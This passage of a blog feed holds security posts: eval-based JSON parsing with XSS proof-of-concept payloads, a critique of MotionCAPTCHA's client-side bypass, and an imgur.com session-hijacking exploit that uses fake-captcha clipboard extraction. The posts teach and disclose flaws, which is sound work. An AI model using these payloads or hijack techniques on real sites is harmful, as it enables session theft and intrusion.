&lt;ul&gt;&lt;li&gt;you don't use &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;eval&lt;/span&gt;!&lt;/li&gt;
&lt;li&gt;you are sure that's JSON (not everything that's a valid Javascript is JSON, it's only a subset)&lt;/li&gt;
&lt;/ul&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Eval()&lt;/span&gt; is, as usual, asking yourself for trouble. Unfortunately, it's common - it's even mentioned in &lt;a href="http://www.json.org/js.html"&gt;JSON's own documentation&lt;/a&gt; as a recommended practice:&lt;br /&gt;
&lt;blockquote&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;To convert a JSON text into an object, you can use the&amp;nbsp;&lt;tt&gt;eval()&lt;/tt&gt;&amp;nbsp;function.&amp;nbsp;&lt;tt&gt;eval()&lt;/tt&gt;&amp;nbsp;invokes the JavaScript compiler. Since JSON is a proper subset of JavaScript, the compiler will correctly parse the text and produce an object structure. The text must be wrapped in parens to avoid tripping on an ambiguity in JavaScript's syntax.&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;pre style="font-family: 'Courier New', Courier, mono; margin-left: 40pt;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;var myObject = eval('(' + myJSONtext + ')');&lt;/span&gt;&lt;/pre&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt; The&amp;nbsp;&lt;code&gt;eval&lt;/code&gt;&amp;nbsp;function is very fast. However, &lt;b&gt;it can compile and execute any JavaScript program, so there can be security issues&lt;/b&gt;. &lt;b&gt;The use of&amp;nbsp;&lt;code&gt;eval&lt;/code&gt;&amp;nbsp;is indicated when the source is trusted and competent. &lt;/b&gt;It is much safer to use a JSON parser. In web applications over XMLHttpRequest, communication&lt;b&gt; is permitted only to the same origin*&lt;/b&gt;&amp;nbsp;that provide that page, so it is trusted. But it might not be competent. If the server is not rigorous in its JSON encoding, or if it does not scrupulously validate all of its inputs, then it could deliver invalid JSON text that could be carrying dangerous script. The &lt;code&gt;eval&lt;/code&gt;&amp;nbsp;function would execute the script, unleashing its malice.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="background-color: linen;"&gt; &lt;/span&gt;&lt;/blockquote&gt;* docs are outdated, you can do cross-origin request now (CORS)&lt;br /&gt;
&lt;h2&gt;   Example - no filters&lt;/h2&gt;So, when using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;eval()&lt;/span&gt; it's crucial that the input is in fact valid JSON that has not been tampered with. Consider the following situation:&lt;br /&gt;
&lt;br /&gt;
Our application uses JSON to store various user preferences (e.g. background color settings). Server does not care about the JSON, it's only relevant to client-side scripts. The data flow looks like this:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;User fills out the 'change preferences' form&lt;/li&gt;
&lt;li&gt;Javascript code creates JSON out of this and POSTs it to the server&lt;/li&gt;
&lt;li&gt;Server stores JSON in the database and retrieves it in future requests. The resulting code looks like this:&amp;nbsp;&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;preferences_json = '&lt;/b&gt;{"background":"red"}&lt;b&gt;'&lt;/b&gt;&lt;/span&gt;&lt;b&gt;;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Javascript needs to get preferences, so it uses:&lt;/li&gt;
&lt;/ol&gt;&lt;pre class="javascript" name="code"&gt;var prefs = eval("(" + preferences_json + ")");
document.body.style.backgroundColor = prefs.background;
...
&lt;/pre&gt;XSSing this is simple - escape from single quotes:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;//  payload:    '; alert(1); //
// this will execute in the preferences_json line like this:
preferences_json = ''; alert(1); //';&lt;/pre&gt;So the server needs to either deny ' in input or escape the output (' becomes \'). Are we secure now? No!&lt;br /&gt;
&lt;h2&gt;    Filtering&lt;/h2&gt;Even with proper escaping, we do not have to escape the string at all for XSS. We can do the code execution in eval() call: &lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;// payload:   alert(1),{"background":"red"}
// This will become:
eval("("+'alert(1),{"background":"red"}'+")");
// and alert will execute. 
&lt;/pre&gt;One very bad practice I saw is disallowing certain characters in JSON input when storing it. For example, you could disallow "(" and ")" so that function can't be executed. But there are ways to execute functions without "()" - see for example &lt;a href="http://blog.mindedsecurity.com/2011/08/ye-olde-crockford-json-regexp-is.html"&gt;this wonderful vector for IE&lt;/a&gt;.&amp;nbsp;In fact, it's even possible to execute JS in this context if you're only allowing&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a-z A-Z 0-9 { } - : , . "&lt;/span&gt; (most of these characters are required for JSON to work anyway). Another example - allow \ and attacker can use obfuscation (e.g. \u0020 )&amp;nbsp;and embed pretty much any character.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;If you validate JSON by looking at characters only and disallowing / allowing them - you're toasted&lt;/b&gt;. You've just opened a bag of tricks for attackers to use (and new techniques requiring fewer characters are still in development). Don't!&lt;br /&gt;
&lt;h2&gt;  Try for yourself!&lt;/h2&gt;Think you can execute arbitrary code in this &lt;a href="http://victim.kotowicz.net/json-validation/victim.php"&gt;victim page&lt;/a&gt;? Yes, you &lt;a href="http://attacker.kotowicz.net/json-validation/evil.php"&gt;can&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
Source code for examples is, as always, &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/json-validation"&gt;on GitHub&lt;/a&gt;. And remember:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;If you accept JSON input, make sure it's a&amp;nbsp;&lt;a href="http://www.json.org/"&gt;legit JSON&lt;/a&gt;&amp;nbsp;input (JSON is a subset of Javascript!). In PHP you can use&amp;nbsp;&lt;code&gt;json_decode()&lt;/code&gt;to validate server-side.&lt;/li&gt;
&lt;li&gt;Validating JSON using character whitelist is a dead end. Don't do it. There are really tricky vectors around.&lt;/li&gt;
&lt;li&gt;Don't use eval! There's&amp;nbsp;&lt;code&gt;JSON.parse()&lt;/code&gt;&amp;nbsp;built into newer browsers, for older - use&amp;nbsp;&lt;a href="https://github.com/douglascrockford/JSON-js/blob/master/json2.js"&gt;this&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3917632154720622060?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/smwbERi0rPw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/3917632154720622060/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3917632154720622060" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3917632154720622060?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3917632154720622060?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/smwbERi0rPw/death-to-filters-how-to-validate-json.html" title="Death to the filters - how to validate JSON correctly" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/08/death-to-filters-how-to-validate-json.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcFRnY_eSp7ImA9WhdRGEw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-3002114448554179616</id><published>2011-08-08T15:04:00.004+02:00</published><updated>2011-08-08T16:33:37.841+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-08T16:33:37.841+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="captcha" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>How not to implement CAPTCHAs (MotionCAPTCHA rant)</title><content type="html">CAPTCHA&amp;nbsp;("Completely Automated Public Turing test to tell Computers and Humans Apart") are security controls used to prevent automated attacks against a website. You can see them in Gmail account register pages, blog comment forms etc. Sometimes they are used as a&amp;nbsp;&lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)"&gt;CSRF&lt;/a&gt; attack countermeasure.&lt;br /&gt;
&lt;h2&gt;        How to do it?&lt;/h2&gt;Designing CAPTCHA challenge is &lt;a href="http://docs.google.com/viewer?url=http%3A%2F%2Fwww.bitland.net%2Fcaptcha.pdf"&gt;hard&lt;/a&gt;&amp;nbsp;- you need to fight OCRs (if the CAPTCHA is based on image recognition) and cheap labour (attackers pay $12 for solving 500 CAPTCHA, &lt;a href="https://www.owasp.org/index.php/Guide_to_Authentication"&gt;according to OWASP&lt;/a&gt;). On the other hand, it needs to be solvable by your users - so this one, while certainly being a strong challenge, is probably not a good idea ;)&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-T-2fFSKHzmY/Tj_Wy35nr9I/AAAAAAAAE1c/RPU4AHjcHf8/s1600/2268237733_cda4a1dbb3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="194" src="http://1.bp.blogspot.com/-T-2fFSKHzmY/Tj_Wy35nr9I/AAAAAAAAE1c/RPU4AHjcHf8/s320/2268237733_cda4a1dbb3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;But no matter what the challenge, the whole CAPTCHA architecture must be secure. For example:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;it must be protected against replay attacks (CAPTCHA ID generated once cannot be reused)&lt;/li&gt;
&lt;li&gt;CAPTCHA given for one session should not be valid in other session. There must be a relation between CAPTCHA and a session, so that the attacker won't solve the CAPTCHA (e.g. manually) in his own session and submit the solved value in the other session.&lt;/li&gt;
&lt;li&gt;CAPTCHA solution must not be stored on the client&lt;/li&gt;
&lt;li&gt;it must be protected against brute-force attack (e.g.require another CAPTCHA after a few invalid responses)&lt;/li&gt;
&lt;li&gt;The amount of possible CAPTCHAs must be A Big Number (bruteforce protection).&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;I really recommend all the developers to read &lt;a href="https://docs.google.com/viewer?url=http://www.bitland.net/captcha.pdf&amp;amp;pli=1"&gt;Strong CAPTCHA guidelines&lt;/a&gt; as many design issues are tricky.&amp;nbsp;&lt;/div&gt;&lt;h2&gt;       MotionCAPTCHA - The fail of the day&lt;/h2&gt;What pushed me into writing this blog post is the &lt;a href="https://github.com/josscrowcroft/MotionCAPTCHA"&gt;MotionCAPTCHA&lt;/a&gt; project I encountered. It's a HTML5 (yay!) canvas based project where the challenge is to repeat drawing a given shape to prove being a human. I've seen &lt;a href="http://cryptogasm.com/2011/07/sony-captcha-fail/"&gt;a few broken CAPTCHAs&lt;/a&gt; in my life, but this one is just over the top. Just two examples:&lt;br /&gt;
&lt;br /&gt;
These are the available shapes (all 16 of them):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://github.com/josscrowcroft/MotionCAPTCHA/raw/master/motionCaptcha-shapes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="https://github.com/josscrowcroft/MotionCAPTCHA/raw/master/motionCaptcha-shapes.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
And this is how you implement it (cited from the &lt;a href="https://github.com/josscrowcroft/MotionCAPTCHA"&gt;readme&lt;/a&gt;):&lt;br /&gt;
&lt;ul style="font-family: helvetica, arial, freesans, clean, sans-serif; font-size: 13px; margin-bottom: 1em !important; margin-left: 2em !important; margin-right: 0px !important; margin-top: 1em !important; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;You manually disable your form, by emptying the form's&amp;nbsp;&lt;code style="background-color: rgb(248, 248, 255) !important; border-bottom-color: rgb(222, 222, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; border-left-color: rgb(222, 222, 222) !important; border-left-style: solid !important; border-left-width: 1px !important; border-right-color: rgb(222, 222, 222) !important; border-right-style: solid !important; border-right-width: 1px !important; border-top-color: rgb(222, 222, 222) !important; border-top-style: solid !important; border-top-width: 1px !important; color: rgb(68, 68, 68) !important; font-size: 12px !important; font: normal normal normal 12px/normal 'Bitstream Vera Sans Mono', Courier, monospace; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px !important; padding-left: 0.2em !important; padding-right: 0.2em !important; padding-top: 0px !important;"&gt;action&lt;/code&gt;&amp;nbsp;attribute, &lt;span class="Apple-style-span" style="background-color: yellow;"&gt;and placing its value in a hidden&amp;nbsp;&lt;code style="border-bottom-color: rgb(222, 222, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; border-left-color: rgb(222, 222, 222) !important; border-left-style: solid !important; border-left-width: 1px !important; border-right-color: rgb(222, 222, 222) !important; border-right-style: solid !important; border-right-width: 1px !important; border-top-color: rgb(222, 222, 222) !important; border-top-style: solid !important; border-top-width: 1px !important; color: rgb(68, 68, 68) !important; font-size: 12px !important; font: normal normal normal 12px/normal 'Bitstream Vera Sans Mono', Courier, monospace; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px !important; padding-left: 0.2em !important; padding-right: 0.2em !important; padding-top: 0px !important;"&gt;&amp;lt;input&amp;gt;&lt;/code&gt;&amp;nbsp;with a specific ID&lt;/span&gt;. You should also put&amp;nbsp;&lt;code style="background-color: rgb(248, 248, 255) !important; border-bottom-color: rgb(222, 222, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; border-left-color: rgb(222, 222, 222) !important; border-left-style: solid !important; border-left-width: 1px !important; border-right-color: rgb(222, 222, 222) !important; border-right-style: solid !important; border-right-width: 1px !important; border-top-color: rgb(222, 222, 222) !important; border-top-style: solid !important; border-top-width: 1px !important; color: rgb(68, 68, 68) !important; font-size: 12px !important; font: normal normal normal 12px/normal 'Bitstream Vera Sans Mono', Courier, monospace; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px !important; padding-left: 0.2em !important; padding-right: 0.2em !important; padding-top: 0px !important;"&gt;disabled="disabled"&lt;/code&gt;&amp;nbsp;on the submit button, for added points.&lt;/li&gt;
&lt;li style="margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;You add a few HTML lines to your form to initialise the MotionCAPTCHA canvas, and add the plugin's scripts to your page.&lt;/li&gt;
&lt;li style="margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;The user draws the shape and, if it checks out, the &lt;span class="Apple-style-span" style="background-color: yellow;"&gt;plugin inserts the form's&amp;nbsp;&lt;code style="border-bottom-color: rgb(222, 222, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; border-left-color: rgb(222, 222, 222) !important; border-left-style: solid !important; border-left-width: 1px !important; border-right-color: rgb(222, 222, 222) !important; border-right-style: solid !important; border-right-width: 1px !important; border-top-color: rgb(222, 222, 222) !important; border-top-style: solid !important; border-top-width: 1px !important; color: rgb(68, 68, 68) !important; font-size: 12px !important; font: normal normal normal 12px/normal 'Bitstream Vera Sans Mono', Courier, monospace; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px !important; padding-left: 0.2em !important; padding-right: 0.2em !important; padding-top: 0px !important;"&gt;action&lt;/code&gt;&amp;nbsp;into the&amp;nbsp;&lt;code style="border-bottom-color: rgb(222, 222, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; border-left-color: rgb(222, 222, 222) !important; border-left-style: solid !important; border-left-width: 1px !important; border-right-color: rgb(222, 222, 222) !important; border-right-style: solid !important; border-right-width: 1px !important; border-top-color: rgb(222, 222, 222) !important; border-top-style: solid !important; border-top-width: 1px !important; color: rgb(68, 68, 68) !important; font-size: 12px !important; font: normal normal normal 12px/normal 'Bitstream Vera Sans Mono', Courier, monospace; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px !important; padding-left: 0.2em !important; padding-right: 0.2em !important; padding-top: 0px !important;"&gt;&amp;lt;form&amp;gt;&lt;/code&gt;&amp;nbsp;tag&lt;/span&gt;.&amp;nbsp;The user can submit the form, happy days.&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;I mean, WTF? So the form looks like this:&lt;/div&gt;&lt;pre class="brush: html;highlight: [11]" name="code"&gt;&amp;lt;form action="#" method="post" id="mc-form"&amp;gt; 
				&amp;lt;p&amp;gt;&amp;lt;input class="placeholder" type="text" placeholder="your name &amp;amp;hellip;"&amp;gt;&amp;lt;/p&amp;gt; 
				&amp;lt;p&amp;gt;&amp;lt;input class="placeholder" type="email" placeholder="your email address &amp;amp;hellip;"&amp;gt;&amp;lt;/p&amp;gt; 
				&amp;lt;p&amp;gt;&amp;lt;textarea class="placeholder" placeholder="your message &amp;amp;hellip;" cols="" rows="3"&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt; 
 
				&amp;lt;div id="mc"&amp;gt; 
					&amp;lt;p&amp;gt;Please draw the shape in the box to submit the form: (&amp;lt;a onclick="window.location.reload()" href="#" title="Click for a new shape"&amp;gt;new shape&amp;lt;/a&amp;gt;)&amp;lt;/p&amp;gt; 
					&amp;lt;canvas id="mc-canvas"&amp;gt; 
						Your browser doesn't support the canvas element - please visit in a modern browser.
					&amp;lt;/canvas&amp;gt; 
					&amp;lt;input type="hidden" id="mc-action" value="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/" /&amp;gt; 
				&amp;lt;/div&amp;gt; 
 
				&amp;lt;p&amp;gt;&amp;lt;input disabled="disabled" autocomplete="false" type="submit" value="Submit"&amp;gt;&amp;lt;/p&amp;gt; 
				
				&amp;lt;p&amp;gt;&amp;lt;a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="josscrowcroft"&amp;gt;Tweet&amp;lt;/a&amp;gt;&amp;lt;script type="text/javascript" src="http://platform.twitter.com/widgets.js"&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt; 
 
			&amp;lt;/form&amp;gt;
&lt;/pre&gt;and when I solve the challenge, the 'mc-action' will become the form action and the form submits? And the server does not care about the challenge cause it's client side only? How about bot POSTing the form in its entirety to the&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; mc-action&lt;/span&gt; URL and bypassing the CAPTCHA completely? #security #fail! Client side CAPTCHA will never be secure, it just can't!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3002114448554179616?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/z8dlGuFCr7U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/3002114448554179616/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3002114448554179616" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3002114448554179616?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3002114448554179616?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/z8dlGuFCr7U/how-not-to-implement-captchas.html" title="How not to implement CAPTCHAs (MotionCAPTCHA rant)" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-T-2fFSKHzmY/Tj_Wy35nr9I/AAAAAAAAE1c/RPU4AHjcHf8/s72-c/2268237733_cda4a1dbb3.jpg" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/08/how-not-to-implement-captchas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUAQ3YzfSp7ImA9WhZaGUo.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-432816216490549096</id><published>2011-07-06T20:34:00.000+02:00</published><updated>2011-07-06T20:34:02.885+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-06T20:34:02.885+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjack" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Imgur.com session hijacking</title><content type="html">&lt;div&gt;Session hijacking usually requires XSS vulnerability (or MITM attack). But what to do when there is none? Of course, we might trick the user with UI Redressing!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Yesterday I presented a &lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;new way to trigger content extraction&lt;/a&gt;. Being UI redressing vector, it requires user intervention, this time tricking user to copy &amp;amp; paste some text through his clipboard to solve a kind of CAPTCHA challenge. Today we'll make a real life example of using this method.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;Fake captcha&lt;/a&gt; has some advantages over 'drag &amp;amp; drop hidden page source', however attacker has to:&lt;br /&gt;
&lt;div&gt;&lt;ul&gt;&lt;li&gt;find a page with certain CAPTCHA-like text&lt;/li&gt;
&lt;li&gt;the text had to be at exact line / column position in HTML source&lt;/li&gt;
&lt;li&gt;the page source had to contain something relevant for further attack (user id, session id, password text etc.)&lt;/li&gt;
&lt;li&gt;only one line could get copied/pasted&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;Looks too limiting?&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Let's make this easier&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;We might be able to meet the requirements, when we consider this:&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;CAPTCHA might be reflected (the attacker controls the URL to display) - so e.g. search results page would be a good candidate&lt;/li&gt;
&lt;li&gt;if attacker is able to store anything on the target domain (e.g. his profile data on a social network site), maybe he can direct the user to the page with that data?&lt;/li&gt;
&lt;li&gt;CAPTCHA might be e.g. account id for Google Analytics or other services website is using&lt;/li&gt;
&lt;li&gt;sometimes websites compress the HTML source to conserve bandwidth, stripping all whitespaces, including newlines. So all the web page is on a single line - no line positioning &lt;b&gt;and attacker gets full HTML source in the clipboard!&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Think big!&lt;/h2&gt;UI redressing requires user intervention, and that is its weak point. After all, users might not use the clipboard, might just ignore the trap set for them etc.&lt;br /&gt;
Sometimes just a single user tricked is enough, but usually attacker needs several victims. &lt;b&gt;The bigger the site, the better&lt;/b&gt; (more potential victims).&amp;nbsp;What if you have a pretty big target? Is Alexa top 200 enough? Let's see. Let me introduce:&lt;br /&gt;
&lt;h2&gt;Imgur.com session hijacking&lt;/h2&gt;&lt;iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/nEFMp1AA3Ao" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
This is an example of using the &lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;fake captcha content extraction&lt;/a&gt;&amp;nbsp;to hijack the session of logged in &lt;a href="http://imgur.com/"&gt;imgur.com&lt;/a&gt; user.&lt;br /&gt;
&lt;br /&gt;
What is happening:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Exploit detects if user runs Firefox (the only vulnerable browser) and if he is logged in to &lt;a href="http://imgur.com/"&gt;imgur.com&lt;/a&gt;&amp;nbsp;(with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;iframe&lt;/span&gt; scrolling position method). If not - it aborts.&lt;/li&gt;
&lt;li&gt;Fake form is displayed. One of the fields, the &lt;b&gt;'security code'&lt;/b&gt; is actually part of Google AdSense used by imgur:&lt;/li&gt;
&lt;/ul&gt;&lt;pre class="javascript" name="code"&gt;GS_googleAddAdSenseService("ca-pub-4470792243209857");&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;At &lt;a href="http://imgur.com/?flash"&gt;http://imgur.com?flash&lt;/a&gt; this code is always (at least for a few days) at the same HTML position (at least for Firefox). There were differences for other pages&lt;/li&gt;
&lt;li&gt;&lt;a href="http://imgur.com/?flash"&gt;http://imgur.com?flash&lt;/a&gt;&amp;nbsp;also has some nice content:&lt;/li&gt;
&lt;/ul&gt;&lt;pre class="html" name="code"&gt;&amp;lt;form method="post" id="uploadform" enctype="multipart/form-data" action="/upload"&amp;gt;
&amp;lt;input id="sid" name="UPLOAD_IDENTIFIER" type="hidden" value="tfm4m79nrb98e3hb0u0sc2aki2" /&amp;gt;
&lt;/pre&gt;This &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;UPLOAD_IDENTIFIER&lt;/span&gt; is a session cookie value :) Remember, imgur - Using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;httpOnly&lt;/span&gt; cookies only makes sense if you &lt;b&gt;don't repeat them in HTML!&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;To make the exploit easy, I used the API reachable at&amp;nbsp;&lt;a href="http://api.imgur.com/"&gt;api.imgur.com&lt;/a&gt; that has the nice feature of letting me authenticate with simply passing the cookie from main site.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;See for yourself: &lt;b&gt;live:&amp;nbsp;&lt;/b&gt;&lt;a href="http://kotowicz.net/imgur/"&gt;http://kotowicz.net/imgur/&lt;/a&gt;&amp;nbsp;, &lt;b&gt;source:&lt;/b&gt;&amp;nbsp;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/imgur"&gt;github&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-432816216490549096?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/V5_O98-MO50" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/432816216490549096/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=432816216490549096" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/432816216490549096?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/432816216490549096?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/V5_O98-MO50/imgurcom-session-hijacking.html" title="Imgur.com session hijacking" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/nEFMp1AA3Ao/default.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/07/imgurcom-session-hijacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMHSH4yeip7ImA9WhVSGEw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4380431078431102139</id><published>2011-07-05T17:53:00.005+02:00</published><updated>2012-03-15T14:33:59.092+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-15T14:33:59.092+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="captcha" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjack" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><category scheme="http://www.blogger.com/atom/ns#" term="ui" /><category 